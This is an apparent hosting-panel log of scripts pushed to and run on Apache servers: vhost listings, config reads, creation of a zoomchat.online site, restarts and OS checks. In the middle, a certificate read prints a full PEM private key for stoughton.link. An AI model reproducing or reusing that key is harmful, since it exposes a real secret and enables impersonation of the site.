2025-10-22 06:00:32: Establishing a connection
2025-10-22 06:00:32: 

PUT: /tmp/pkp342346

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-22 06:00:32: 

chmod 755 /tmp/pkp342346; /tmp/pkp342346; rm /tmp/pkp342346

2025-10-22 06:00:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-22 06:00:32: 

PUT: /tmp/pkp449559

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/stoughton_www_link.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 06:00:32: 

chmod 755 /tmp/pkp449559; /tmp/pkp449559; rm /tmp/pkp449559

2025-10-22 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf	1743
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>







2025-10-22 06:00:32: 

PUT: /tmp/pkp390263

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 06:00:32: 

chmod 755 /tmp/pkp390263; /tmp/pkp390263; rm /tmp/pkp390263

2025-10-22 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt	5365
d5:b1:12:2f:a9:a2:96:cb:c0:d0:53:1d:e4:67:d1:be

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYz76/GlmWUyEDCA24s67zcHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMDUwMjAwWhcNMjYwMTIwMDUwMTU5WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMdJKhtDCNP00KgttwdMU+bdv7rSPUoQvrF7UTffqyGu4gf+rGw+/o2bG+zdjSrg
CDZ4FJ4cI/p9A0NNF5WWrqUar0JFLX1BrDEN8f9ZHphraeAX8OUtNZ1wt9qbTrTA
hdkKrbETShHGSTiT9HF1b1Yu8+F/I/Z48uvTVEoM3TAhoyMviHzp2PSE0u3BTdw9
VplWuCMOAvGDReWpA+zmt8GPyQ52dA7V2W3Ze+mMVbdXE9nw7O58s6hkx0MRJgtI
9KqWpMiQFxjkWouoTJ8Fa2jnUyIIKpioTskWM6eHCCXpn2O3vSCWMwnbSiBWO3En
pQJzpY51ED71bL0SgCIhymMCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUVuiArpVICqLIKLMHS6uD8607YK4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzguY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGa
CoE0LAAABAMARzBFAiBRY656vMdzpDyCJPM41MmUSS/2aLuivDG/oPbvWZKxCwIh
AMjEAAYhPP5U8FfiOhA6lMqqY1WkPul2aO2C3VsUK/5gAHUASZybad4dfOz8Nt7N
h2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGaCoE0LAAABAMARjBEAiBFKUbnNh4/3oHY
Spt/uLT39tCZYveGWCLygeerQH2J7AIgSmmWrxVt6PQgUkHWK/QRA3sAFjgJa3fW
nI3P3c3f9PMwDQYJKoZIhvcNAQELBQADggEBABU2L3MkY7WllsMxgWU8xW9ashGl
duJX6ZfuuVV6wTwtRwJy09p13fFWXOr2VT1BRJLP0B1E8VtisjYURNGAUrWLP/3i
mLUySOvFs1vWik9jJYg55ZJTYYN2EroWxxZihxceeXHuOp2wMvF083YilBJMqiXp
GGgCPKUeq0wQWkqFp5w4e/HEqie4XcjncPSiX8tGjZO14zGRrUE/EQzuL3+QxuJh
pNSsPQgSlR2bFwYRwO73gCb6IsApSr/jz+8bkaGF1VkO+1DlUP+Ni6jHmRCQbXiv
RsbmZjCMcGQEz3+9Avx+Je7HkEo5+Kp9aSyppcSlB0fuH3UrOdtjSjKyHrw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHSSobQwjT9NCo
LbcHTFPm3b+60j1KEL6xe1E336shruIH/qxsPv6Nmxvs3Y0q4Ag2eBSeHCP6fQND
TReVlq6lGq9CRS19QawxDfH/WR6Ya2ngF/DlLTWdcLfam060wIXZCq2xE0oRxkk4
k/RxdW9WLvPhfyP2ePLr01RKDN0wIaMjL4h86dj0hNLtwU3cPVaZVrgjDgLxg0Xl
qQPs5rfBj8kOdnQO1dlt2XvpjFW3VxPZ8OzufLOoZMdDESYLSPSqlqTIkBcY5FqL
qEyfBWto51MiCCqYqE7JFjOnhwgl6Z9jt70gljMJ20ogVjtxJ6UCc6WOdRA+9Wy9
EoAiIcpjAgMBAAECggEAck6mJ0L5ElKPSJgILth6G6c/7VHgM9aM+tJoEKtrxoNA
RSOwFNrBOcopZ2DhMyGTtGKGOPadMHV6ZKUYjQYEINHAizuQzxLXSL/d+gBNS1H5
Rb+Vvm6DHU5lNq/0ojr3yzmTzUjqKG3a2+gJwvaAKSf/XW2G3D4d4GS0KVFdodf0
8x8ObeTIx7C8ry0eqSS5JfoL7Zb8lB/ylW9ZY8Rt+i+9OQp8+WdWSlC7olF7zIkG
kKh4ONBmjFLV4bNHj90Fpk5731qQ4gdqJJHJ7ReTHCcB3ta0p2ofPyN2PjOXr+Zn
0ACdvwkN9HJO3/wGqObVfufh/+JVRLt+wzaJXHTOYQKBgQD6bYHlDUBBDHou67tX
qxtnK1AYyWSJNMcTxDK9p9UZwHcMC9QVIGYAwpd0J2cdJ1VNapRBcL0x0YjV3wzU
rqf0Q6K5Qr3JjTXqU9LRVg1+SlZhg8yLiXlRIp4afUVhcUlxzkie0IYntIaY0jEt
ge9oYr9VhXDswAOcLLG8uPQa0QKBgQDLuFdLs5QcD46qks7nHonLdDAOVmvEiEJp
fNyCb8UGeXYDl5LyHOZ+pelshVf544AdvkAb5b+Q5f0ZoM9VSJNs62VAzqcouBoX
hd8tBFNdWHcXpZ/x6SFIyOc3fi+M8/ySvSCgXk3VLrctvPeCuNgaJxZdncESRAnZ
45iKkRB28wKBgFoy2SdcB3mmedeulnK0MZGOWzIiT7DPrqii8Te4XJwC454WIJRf
b/30GMMAcjZg9WuF6NJNPgfUlbmati9gnSPwvIqHzH3s+69j87nsib2kHsrOwvy7
TlP36QRXfIblW/O+vg9dwgRJFHW0t3vRoh5x+sJd5tePLX2x5263G00RAoGAVvjV
M/lvsuclZkcU0/DirRxmY8iba6UsjTKERZ+IAvKZ4oC0eG7ELK+STwVCgOmSSaBu
aDqWpTq66lUQDv3UCr0YVimjjavDX+WEWQiuunxJI6xO840u647xv2w8yrVjUBY0
NqLsIaY3B+zT0lgt0kR7tO3jfnPTrNUQy5+Q4ucCgYEAjHsuBIdxHS7+qhHr+93m
LcIqqAkr4fdUITdCB1uRNrofPbMe+saaqSrcoOJpW8tzqa8NJ0d1DmVgkmw+e5v0
PHkKapnESv6c97ybaaUtM5NhwtdjSbN6LE+HYMx/8+tbGQZ3AQKorStfVfFKLI+N
ez4APeuMzJ/5xxy8K+4W3aw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-22 06:00:32: Establishing a connection
2025-10-22 06:00:33: Establishing a connection
2025-10-22 06:00:34: 

PUT: /tmp/pkp347804

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-22 06:00:35: 

chmod 755 /tmp/pkp347804; /tmp/pkp347804; rm /tmp/pkp347804

2025-10-22 06:00:35: 


0


2025-10-22 12:25:49: Establishing a connection
2025-10-22 12:26:07: Establishing a connection
2025-10-22 12:26:09: 

PUT: /tmp/pkp404195

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-22 12:26:10: 

chmod 755 /tmp/pkp404195; /tmp/pkp404195; rm /tmp/pkp404195

2025-10-22 12:26:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
conf.d/zoomchat_www_online.conf 0



2025-10-22 12:26:10: 

PUT: /tmp/pkp960842

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=conf.d/zoomchat_www_online.conf
DOCROOT=/var/www/zoomchat_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header unset ETag	
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
    </Directory>
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/httpd/zoomchat
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2025-10-22 12:26:10: 

chmod 755 /tmp/pkp960842; /tmp/pkp960842; rm /tmp/pkp960842

2025-10-22 12:26:11: 


link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd/conf.d/zoomchat_www_online.conf
file(/etc/httpd/conf.d/zoomchat_www_online.conf= 1


2025-10-22 12:26:11: 

PUT: /tmp/pkp354552

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-22 12:26:11: 

chmod 755 /tmp/pkp354552; /tmp/pkp354552; rm /tmp/pkp354552

2025-10-22 12:26:12: 


.


2025-10-22 12:26:12: Performing Server Status
2025-10-22 12:26:12: 

PUT: /tmp/pkp772366

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-10-22 12:26:12: 

chmod 755 /tmp/pkp772366; /tmp/pkp772366; rm /tmp/pkp772366

2025-10-22 12:26:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/centos-release
CentOS Linux release 8.5.2111

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/redhat-release
CentOS Linux release 8.5.2111

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/system-release
CentOS Linux release 8.5.2111

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
NAME="CentOS Linux"
VERSION="8"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="8"
PLATFORM_ID="platform:el8"
PRETTY_NAME="CentOS Linux 8"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:8"
HOME_URL="https://centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-8"
CENTOS_MANTISBT_PROJECT_VERSION="8"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size	Used	Priority
/dev/dm-1                               partition	2097148	57600	-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
messier

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 4.18.0-240.15.1.el8_3.x86_64



2025-10-22 12:26:12: 

PUT: /tmp/pkp226565

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-10-22 12:26:13: 

chmod 755 /tmp/pkp226565; /tmp/pkp226565; rm /tmp/pkp226565

2025-10-22 12:26:13: 


[httpd]
[Wed Oct 22 12:26:13.629798 2025] [so:warn] [pid 350973:tid 139872677992768] AH01574: module status_module is already loaded, skipping
Server version: Apache/2.4.37 (centos)
Server built:   Nov  4 2020 03:20:37
Server's Module Magic Number: 20120211:83
Server loaded:  APR 1.6.3, APR-UTIL 1.6.1
Compiled using: APR 1.6.3, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     event
  threaded:     yes (fixed thread count)
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_SYSVSEM_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/httpd"
 -D SUEXEC_BIN="/usr/sbin/suexec"
 -D DEFAULT_PIDLOG="run/httpd.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="conf/mime.types"
 -D SERVER_CONFIG_FILE="conf/httpd.conf"
Script started on 2025-10-22 12:26:13+00:00
[Wed Oct 22 12:26:13.629798 2025] [so:warn] [pid 350973:tid 139872677992768] AH01574: module status_module is already loaded, skipping
Server version: Apache/2.4.37 (centos)
Server built:   Nov  4 2020 03:20:37
Server's Module Magic Number: 20120211:83
Server loaded:  APR 1.6.3, APR-UTIL 1.6.1
Compiled using: APR 1.6.3, APR-UTIL 1.6.1
Architecture:   64-bit
